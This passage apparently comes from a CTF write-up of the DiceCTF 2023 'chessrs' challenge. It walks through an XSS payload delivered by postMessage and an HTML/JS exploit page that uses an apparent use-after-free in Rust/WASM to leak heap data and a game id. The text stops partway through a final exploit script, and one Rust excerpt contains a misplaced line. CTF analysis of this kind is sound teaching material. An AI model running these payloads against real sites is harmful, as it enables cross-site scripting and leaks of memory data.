<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"ready"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">send</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'error'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'<img src=x onerror=alert(1)>'</span><span class="p">});</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">};</span>
<span class="w"> </span><span class="p"></</span><span class="nt">script</span><span class="p">></span>
<span class="p"></</span><span class="nt">body</span><span class="p">></span>
<span class="p"></</span><span class="nt">html</span><span class="p">></span>
</code></pre></div>
<p>And it worked again!!!</p>
<p><img alt="chessrs.mc.ax" src="/images/dicectf2023/exploit_interface.png"></p>
<p>Now we only need to somehow leak the id and we should be able to solve this challenge.</p>
<blockquote>
<p>Authors Note:</p>
<p>Normally at this point, a seasoned CTF veteran should realize that things are going too smoothly especially considering that no one has solved this challenge at this point. But let us stop with the foreshadowing and continue.</p>
</blockquote>
<h3>chess_wasm</h3>
<p>After finding a way to create an XSS we now look into <em>./chess_wasm</em> code the find a way to leak the id.</p>
<div class="highlight"><pre><span></span><code>./chess-wasm:
Cargo.lock
Cargo.toml
./chess-wasm/src:
game.rs
handler.rs
lib.rs
</code></pre></div>
<p>There are 3 rust files:</p>
<ul>
<li><em>lib.rs</em></li>
</ul>
<p>interface for accessing the imported rust dependencies </p>
<ul>
<li><em>handler.rs</em></li>
</ul>
<p>iframe onmessage interface. </p>
<ul>
<li><em>game.rs</em></li>
</ul>
<p>actual game logic</p>
<p>After looking into the source code we discover that there is a hidden functionality in the <code>init</code> call. It is possible to manually set a <a href="https://www.chess.com/terms/fen-chess">FEN</a>, to specify a start layout in the chess game. </p>
<p><em>handler.rs</em></p>
<div class="highlight"><pre><span></span><code><span class="o">..</span><span class="p">.</span>
<span class="k">pub</span><span class="w"> </span><span class="k">fn</span> <span class="nf">handle</span><span class="p">(</span><span class="n">msg</span>: <span class="kp">&</span><span class="nc">EngineMessage</span><span class="p">)</span><span class="w"> </span>-> <span class="nc">anyhow</span>::<span class="nb">Result</span><span class="o"><</span><span class="n">EngineResponse</span><span class="o">></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">match</span><span class="w"> </span><span class="n">msg</span><span class="p">.</span><span class="n">r</span>#<span class="k">type</span><span class="p">.</span><span class="n">as_str</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="s">"init"</span><span class="w"> </span><span class="o">=></span><span class="w"> </span><span class="n">init</span><span class="p">(</span><span class="n">msg</span><span class="p">),</span>
<span class="w"> </span><span class="s">"get_state"</span><span class="w"> </span><span class="o">=></span><span class="w"> </span><span class="n">get_state</span><span class="p">(</span><span class="n">msg</span><span class="p">),</span>
<span class="w"> </span><span class="s">"play_move"</span><span class="w"> </span><span class="o">=></span><span class="w"> </span><span class="n">play_move</span><span class="p">(</span><span class="n">msg</span><span class="p">),</span>
<span class="w"> </span><span class="n">unk</span><span class="w"> </span><span class="o">=></span><span class="w"> </span><span class="nb">Err</span><span class="p">(</span><span class="n">anyhow</span><span class="o">!</span><span class="p">(</span><span class="s">"Unknown type '{unk}'"</span><span class="p">)),</span>
<span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
<span class="k">fn</span> <span class="nf">get_data</span><span class="o"><</span><span class="n">T</span>: <span class="nc">DeserializeOwned</span><span class="o">></span><span class="p">(</span><span class="n">data</span>: <span class="kp">&</span><span class="nb">Option</span><span class="o"><</span><span class="n">serde_json</span>::<span class="n">Value</span><span class="o">></span><span class="p">)</span><span class="w"> </span>-> <span class="nc">anyhow</span>::<span class="nb">Result</span><span class="o"><</span><span class="n">T</span><span class="o">></span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="o">..</span><span class="p">.</span><span class="w"> </span><span class="p">}</span>
<span class="k">type</span> <span class="nc">InitData</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">String</span><span class="p">;</span>
<span class="k">fn</span> <span class="nf">init</span><span class="p">(</span><span class="n">msg</span>: <span class="kp">&</span><span class="nc">EngineMessage</span><span class="p">)</span><span class="w"> </span>-> <span class="nc">anyhow</span>::<span class="nb">Result</span><span class="o"><</span><span class="n">EngineResponse</span><span class="o">></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">// get data attribute from message</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="n">data</span>: <span class="nc">InitData</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">get_data</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="p">.</span><span class="n">data</span><span class="p">).</span><span class="n">unwrap_or_default</span><span class="p">();</span>
<span class="w"> </span><span class="c1">// game id format check alphanumeric 16 characters max</span>
<span class="w"> </span><span class="o">..</span><span class="p">.</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">state</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">STATE</span><span class="p">.</span><span class="n">lock</span><span class="p">().</span><span class="n">unwrap</span><span class="p">();</span>
<span class="w"> </span><span class="c1">// check if game with same id already exists</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">state</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">state</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="p">.</span><span class="n">id</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">Ok</span><span class="p">(</span><span class="n">EngineResponse</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">new_type</span>: <span class="nb">Some</span><span class="p">(</span><span class="s">"error"</span><span class="p">.</span><span class="n">to_string</span><span class="p">()),</span>
<span class="w"> </span><span class="n">data</span>: <span class="nb">Some</span><span class="p">(</span><span class="n">json</span><span class="o">!</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span><span class="s">"The game '{:#?}' already exists"</span><span class="p">,</span><span class="w"> </span><span class="n">state</span><span class="p">))),</span>
<span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="c1">// create a new game with provided data</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="n">game</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Game</span>::<span class="n">start</span><span class="p">(</span><span class="o">&</span><span class="n">data</span><span class="p">);</span>
<span class="w"> </span><span class="n">state</span><span class="p">.</span><span class="n">insert</span><span class="p">(</span><span class="n">msg</span><span class="p">.</span><span class="n">id</span><span class="p">.</span><span class="n">clone</span><span class="p">(),</span><span class="w"> </span><span class="n">EngineState</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="n">game</span><span class="w"> </span><span class="p">});</span>
<span class="w"> </span><span class="nb">Ok</span><span class="p">(</span><span class="n">EngineResponse</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">new_type</span>: <span class="nb">None</span><span class="p">,</span>
<span class="w"> </span><span class="n">data</span>: <span class="nb">Some</span><span class="p">(</span><span class="n">json</span><span class="o">!</span><span class="p">(</span><span class="s">"ready"</span><span class="p">)),</span>
<span class="w"> </span><span class="p">})</span>
<span class="p">}</span>
<span class="k">fn</span> <span class="nf">get_state</span><span class="p">(</span><span class="n">msg</span>: <span class="kp">&</span><span class="nc">EngineMessage</span><span class="p">)</span><span class="w"> </span>-> <span class="nc">anyhow</span>::<span class="nb">Result</span><span class="o"><</span><span class="n">EngineResponse</span><span class="o">></span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="o">..</span><span class="p">.</span><span class="w"> </span><span class="p">}</span>
<span class="k">fn</span> <span class="nf">play_move</span><span class="p">(</span><span class="n">msg</span>: <span class="kp">&</span><span class="nc">EngineMessage</span><span class="p">)</span><span class="w"> </span>-> <span class="nc">anyhow</span>::<span class="nb">Result</span><span class="o"><</span><span class="n">EngineResponse</span><span class="o">></span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="o">..</span><span class="p">.</span><span class="w"> </span><span class="p">}</span>
</code></pre></div>
<p><em>game.rs</em></p>
<div class="highlight"><pre><span></span><code><span class="o">..</span><span class="p">.</span>
<span class="cp">#[derive(Debug)]</span>
<span class="k">pub</span><span class="w"> </span><span class="k">enum</span> <span class="nc">StartType</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">Fen</span><span class="p">,</span>
<span class="w"> </span><span class="n">Epd</span><span class="p">,</span>
<span class="p">}</span>
<span class="c1">// to store all moves and history</span>
<span class="cp">#[derive(Debug)]</span>
<span class="k">pub</span><span class="w"> </span><span class="k">struct</span> <span class="nc">Game</span><span class="o"><'</span><span class="na">a</span><span class="o">></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">pub</span><span class="w"> </span><span class="n">start_type</span>: <span class="nc">StartType</span><span class="p">,</span>
<span class="w"> </span><span class="k">pub</span><span class="w"> </span><span class="n">start</span>: <span class="kp">&</span><span class="o">'</span><span class="na">a</span> <span class="kt">str</span><span class="p">,</span>
<span class="w"> </span><span class="k">pub</span><span class="w"> </span><span class="n">moves</span>: <span class="nb">Vec</span><span class="o"><</span><span class="n">Move</span><span class="o">></span><span class="p">,</span>
<span class="p">}</span>
<span class="k">static</span><span class="w"> </span><span class="n">DEFAULT_FEN</span>: <span class="kp">&</span><span class="kt">str</span> <span class="o">=</span><span class="w"> </span><span class="s">"rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1"</span><span class="p">;</span>
<span class="k">pub</span><span class="w"> </span><span class="k">trait</span><span class="w"> </span><span class="n">ChessGame</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">fn</span> <span class="nf">start</span><span class="p">(</span><span class="n">init</span>: <span class="kp">&</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span>-> <span class="nc">Self</span><span class="p">;</span>
<span class="w"> </span><span class="k">fn</span> <span class="nf">get_state</span><span class="p">(</span><span class="o">&</span><span class="bp">self</span><span class="p">)</span><span class="w"> </span>-> <span class="nc">Chess</span><span class="p">;</span>
<span class="w"> </span><span class="k">fn</span> <span class="nf">get_fen</span><span class="p">(</span><span class="o">&</span><span class="bp">self</span><span class="p">)</span><span class="w"> </span>-> <span class="nb">String</span><span class="p">;</span>
<span class="w"> </span><span class="k">fn</span> <span class="nf">get_moves</span><span class="p">(</span><span class="o">&</span><span class="bp">self</span><span class="p">)</span><span class="w"> </span>-> <span class="nb">Vec</span><span class="o"><</span><span class="nb">String</span><span class="o">></span><span class="p">;</span>
<span class="w"> </span><span class="k">fn</span> <span class="nf">make_move</span><span class="p">(</span><span class="o">&</span><span class="k">mut</span><span class="w"> </span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">m</span>: <span class="kp">&</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span>-> <span class="nc">anyhow</span>::<span class="nb">Result</span><span class="o"><</span><span class="nb">String</span><span class="o">></span><span class="p">;</span>
<span class="p">}</span>
<span class="k">fn</span> <span class="nf">validate_fen</span><span class="o"><'</span><span class="na">a</span><span class="p">,</span><span class="w"> </span><span class="o">'</span><span class="na">b</span><span class="o">></span><span class="p">(</span><span class="n">fen</span>: <span class="kp">&</span><span class="o">'</span><span class="na">b</span> <span class="kt">str</span><span class="p">,</span><span class="w"> </span><span class="n">default</span>: <span class="kp">&</span><span class="o">'</span><span class="na">a</span> <span class="kp">&</span><span class="o">'</span><span class="na">b</span> <span class="kt">str</span><span class="p">)</span><span class="w"> </span>-> <span class="p">(</span><span class="n">StartType</span><span class="p">,</span><span class="w"> </span><span class="o">&'</span><span class="na">a</span><span class="w"> </span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="o">..</span><span class="p">.</span><span class="w"> </span><span class="p">}</span>
<span class="k">fn</span> <span class="nf">validate_epd</span><span class="o"><'</span><span class="na">a</span><span class="p">,</span><span class="w"> </span><span class="o">'</span><span class="na">b</span><span class="o">></span><span class="p">(</span><span class="n">epd</span>: <span class="kp">&</span><span class="o">'</span><span class="na">b</span> <span class="kt">str</span><span class="p">,</span><span class="w"> </span><span class="n">default</span>: <span class="kp">&</span><span class="o">'</span><span class="na">a</span> <span class="kp">&</span><span class="o">'</span><span class="na">b</span> <span class="kt">str</span><span class="p">)</span><span class="w"> </span>-> <span class="p">(</span><span class="n">StartType</span><span class="p">,</span><span class="w"> </span><span class="o">&'</span><span class="na">a</span><span class="w"> </span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="o">..</span><span class="p">.</span><span class="w"> </span><span class="p">}</span>
<span class="k">impl</span><span class="w"> </span><span class="n">ChessGame</span><span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="n">Game</span><span class="o"><'</span><span class="nb">_</span><span class="o">></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">fn</span> <span class="nf">start</span><span class="p">(</span><span class="n">init</span>: <span class="kp">&</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span>-> <span class="nc">Self</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="k">mut</span><span class="w"> </span><span class="n">validator</span>: <span class="nc">fn</span><span class="p">(</span><span class="n">_</span><span class="p">,</span><span class="w"> </span><span class="n">_</span><span class="p">)</span><span class="w"> </span>-> <span class="p">(</span><span class="n">StartType</span><span class="p">,</span><span class="w"> </span><span class="o">&'</span><span class="nb">static</span><span class="w"> </span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">validate_fen</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="n">init</span><span class="p">.</span><span class="n">contains</span><span class="p">(</span><span class="sc">';'</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">validator</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">validate_epd</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="c1">// check if init is set and use DEFAULT_FEN if not</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="n">data</span>: <span class="p">(</span><span class="n">StartType</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">validator</span><span class="p">(</span><span class="n">init</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">DEFAULT_FEN</span><span class="p">);</span>
<span class="w"> </span><span class="n">Game</span><span class="w"> </span><span class="p">{</span><span class="n">data</span>: <span class="nb">Some</span><span class="p">(</span><span class="n">json</span><span class="o">!</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span><span class="s">"The game '{:#?}' already exists"</span><span class="p">,</span><span class="w"> </span><span class="n">state</span><span class="p">))),</span>
<span class="w"> </span><span class="n">start_type</span>: <span class="nc">data</span><span class="p">.</span><span class="mi">0</span><span class="p">,</span>
<span class="w"> </span><span class="n">start</span>: <span class="nc">data</span><span class="p">.</span><span class="mi">1</span><span class="p">,</span>
<span class="w"> </span><span class="n">moves</span>: <span class="nb">Vec</span>::<span class="n">new</span><span class="p">(),</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">fn</span> <span class="nf">get_state</span><span class="p">(</span><span class="o">&</span><span class="bp">self</span><span class="p">)</span><span class="w"> </span>-> <span class="nc">shakmaty</span>::<span class="n">Chess</span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="o">..</span><span class="p">.</span><span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">fn</span> <span class="nf">get_fen</span><span class="p">(</span><span class="o">&</span><span class="bp">self</span><span class="p">)</span><span class="w"> </span>-> <span class="nb">String</span> <span class="p">{</span><span class="w"> </span><span class="o">..</span><span class="p">.</span><span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">fn</span> <span class="nf">get_moves</span><span class="p">(</span><span class="o">&</span><span class="bp">self</span><span class="p">)</span><span class="w"> </span>-> <span class="nb">Vec</span><span class="o"><</span><span class="nb">String</span><span class="o">></span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="o">..</span><span class="p">.</span><span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">fn</span> <span class="nf">make_move</span><span class="p">(</span><span class="o">&</span><span class="k">mut</span><span class="w"> </span><span class="bp">self</span><span class="p">,</span><span class="w"> </span><span class="n">m</span>: <span class="kp">&</span><span class="kt">str</span><span class="p">)</span><span class="w"> </span>-> <span class="nc">anyhow</span>::<span class="nb">Result</span><span class="o"><</span><span class="nb">String</span><span class="o">></span><span class="w"> </span><span class="p">{</span><span class="w"> </span><span class="o">..</span><span class="p">.</span><span class="w"> </span><span class="p">}</span>
<span class="p">}</span>
</code></pre></div>
<blockquote>
<p>Authors Note: </p>
<p>It should also be possible to set an <a href="https://www.chessprogramming.org/Extended_Position_Description">EPD</a> by adding a semicolon (<code>;</code>), but the library uses <a href="https://github.com/niklasf/shakmaty">Shakmaty</a> for validating FENs or EPDs, which doesn't support semicolons for EPDs.</p>
<p>We also realized that wasm_binding version used was out of date (2.5 years old), but we didn't find any vulnerability regarding this discovery.</p>
</blockquote>
<h3>Leaking ID</h3>
<p>Trying to set a starting FEN manually actually corrupts the newly created Game structure. This can be reproduced like this.</p>
<p><em>leak.html</em></p>
<div class="highlight"><pre><span></span><code><span class="cp"><!doctype html></span>
<span class="p"><</span><span class="nt">html</span><span class="p">></span>
<span class="p"><</span><span class="nt">body</span><span class="p">></span>
<span class="p"><</span><span class="nt">iframe</span> <span class="na">src</span><span class="o">=</span><span class="s">"http://192.168.56.10:1337/"</span> <span class="na">id</span><span class="o">=</span><span class="s">"index"</span> <span class="na">width</span><span class="o">=</span><span class="s">"2000px"</span> <span class="na">height</span><span class="o">=</span><span class="s">"1000px"</span><span class="p">></</span><span class="nt">iframe</span><span class="p">></span>
<span class="p"><</span><span class="nt">script</span><span class="p">></span>
<span class="kd">const</span><span class="w"> </span><span class="nx">index</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s2">"index"</span><span class="p">).</span><span class="nx">contentWindow</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">origin</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"http://192.168.56.10:1337/"</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'0x6fe1be20c0ffee'</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">send</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">msg</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="w"> </span><span class="p">...</span><span class="nx">msg</span><span class="p">,</span><span class="w"> </span><span class="nx">id</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">onmessage</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s2">"ready"</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">// create a new chess game with custom FEN</span>
<span class="w"> </span><span class="nx">e</span><span class="p">.</span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w - - 0 1'</span><span class="p">,</span><span class="w"> </span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="s1">'any'</span><span class="p">},</span><span class="w"> </span><span class="s1">'http://192.168.56.10:1337'</span><span class="p">);</span>
<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">// leak heap memory with use after free vulnerability</span>
<span class="w"> </span><span class="nx">e</span><span class="p">.</span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">' '</span><span class="p">,</span><span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="s1">'any'</span><span class="p">},</span><span class="w"> </span><span class="s1">'http://192.168.56.10:1337'</span><span class="p">);</span>
<span class="w"> </span><span class="p">},</span><span class="w"> </span><span class="mf">100</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">type</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s1">'error'</span><span class="p">){</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">.</span><span class="nx">data</span><span class="p">);</span>
<span class="w"> </span><span class="p">}</span><span class="w"> </span><span class="k">else</span><span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">e</span><span class="p">.</span><span class="nx">data</span><span class="p">);</span>
<span class="p">};</span>
<span class="w"> </span><span class="p"></</span><span class="nt">script</span><span class="p">></span>
<span class="p"></</span><span class="nt">body</span><span class="p">></span>
<span class="p"></</span><span class="nt">html</span><span class="p">></span>
</code></pre></div>
<p>Returns the output: </p>
<div class="highlight"><pre><span></span><code>The game 'EngineState {
game: Game {
start_type: Fen,
start: " game: Game {\n 8\0\0",
moves: [],
},
}' already exists
</code></pre></div>
<p>Looking at the output we realize that we likely leaked some data from the heap. There is probably due to a use after free (UAF) vulnerability in Rust, where the heap memory allocated by FEN is probably freed even though it is still in use. This is an important discovery because it will likely help us leak the original id, which is needed for our XSS.</p>
<p>The leak occurs if a duplicated ID is provided, which results in the corresponding game to be returned in an error message.</p>
<p><em>handler.rs</em></p>
<div class="highlight"><pre><span></span><code><span class="c1">// check if game with same id already exists</span>
<span class="k">if</span><span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nb">Some</span><span class="p">(</span><span class="n">state</span><span class="p">)</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">state</span><span class="p">.</span><span class="n">get</span><span class="p">(</span><span class="o">&</span><span class="n">msg</span><span class="p">.</span><span class="n">id</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nb">Ok</span><span class="p">(</span><span class="n">EngineResponse</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">new_type</span>: <span class="nb">Some</span><span class="p">(</span><span class="s">"error"</span><span class="p">.</span><span class="n">to_string</span><span class="p">()),</span>
<span class="w"> </span><span class="n">data</span>: <span class="nb">Some</span><span class="p">(</span><span class="n">json</span><span class="o">!</span><span class="p">(</span><span class="fm">format!</span><span class="p">(</span><span class="s">"The game '{:#?}' already exists"</span><span class="p">,</span><span class="w"> </span><span class="n">state</span><span class="p">))),</span>
<span class="w"> </span><span class="p">});</span>
<span class="p">}</span>
</code></pre></div>
<p>Playing around with this vulnerability sometimes returns and Error <code>Uncaught TypeError: TextDecoder.decode : Decoding failed</code> in the TextDecoder. This is due to an illegal character being decoded in <em>/js/chess_wasm.js</em> which is loaded in <em>engine.html</em>. This makes the exploit creation process a lot harder because we don't just need to leak the right heap but we must also watch out that no illegal character is decoded. Also we can't just remove illegal characters because we don't have access to the wasm to js interface.</p>
<h3>Trial and Error</h3>
<p>After discovering this vulnerability we started manually changing the length of the creation and leak message. This was fairly easy because <a href="https://github.com/niklasf/shakmaty">Shakmaty</a> (the library used for FEN parsing) trimmed the provided fen which allowed us to generate arbitrary long FENs. It is also important to note, that the leak Message doesn't need to provide a valid FEN.</p>
<ul>
<li>creation (first call with unique id)</li>
</ul>
<p>specifies how much data can be leaked and how large the freed memory section is</p>
<ul>
<li>leak (repeated call with an id)</li>
</ul>
<p>moves the leaked memory section with the length of the send request (id and type attributes are mandatory)</p>
<p>After some trial and error, we managed to leak 8 bytes of the original game id.</p>
<p><strong>8/16</strong></p>
<div class="highlight"><pre><span></span><code><span class="kd">const</span><span class="w"> </span><span class="nx">index</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s1">'index'</span><span class="p">).</span><span class="nx">contentWindow</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">origin</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"https://chessrs.mc.ax/"</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">id</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'0x6fe1be2'</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">id2</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'0x6fe1be3'</span><span class="p">;</span>
<span class="kd">const</span><span class="w"> </span><span class="nx">id3</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">'0x6fe1be4'</span><span class="p">;</span>
<span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'PWN'</span><span class="p">);</span>
<span class="kd">var</span><span class="w"> </span><span class="nx">source</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kc">null</span><span class="p">;</span>
<span class="kd">function</span><span class="w"> </span><span class="nx">ws</span><span class="p">(</span><span class="nx">nmb</span><span class="p">){</span>
<span class="w"> </span><span class="kd">let</span><span class="w"> </span><span class="nx">out</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">""</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="p">(</span><span class="kd">let</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="nx">nmb</span><span class="p">;</span><span class="w"> </span><span class="nx">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="nx">out</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="s2">" "</span><span class="p">;</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="nx">out</span><span class="p">;</span>
<span class="p">}</span>
<span class="nb">window</span><span class="p">.</span><span class="nx">onmessage</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">(</span><span class="nx">e</span><span class="p">)</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="nx">source</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="kc">null</span><span class="p">){</span>
<span class="w"> </span><span class="nx">source</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">e</span><span class="p">.</span><span class="nx">source</span><span class="p">;</span>
<span class="w"> </span><span class="nx">source</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">({</span><span class="nx">type</span><span class="o">:</span><span class="s1">'init'</span><span class="p">,</span><span class="w"> </span><span class="nx">data</span><span class="o">:</span><span class="s1">'k6K/8/8/8/8/8/8/8 w KQkq - 0 1'</span><span class="p">,</span><span class="w"> </span><span class="nx">id</span><span class="o">:</span><span class="nx">id</span><span class="p">},</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="s1">'create'</span><span class="p">);</span>
<span class="w"> </span><span class="nx">index</span><span class="p">.</span><span class="nx">postMessage</span><span class="p">(</span><span class="s1">'ready'</span><span class="p">,</span><span class="w"> </span><span class="nx">origin</span><span class="p">);</span>
<span class="w"> </span><span class="nx">setTimeout</span><span class="p">(()</span><span class="w"> </span><span class="p">=></span><span class="w"> </span><span class="p">{</span>
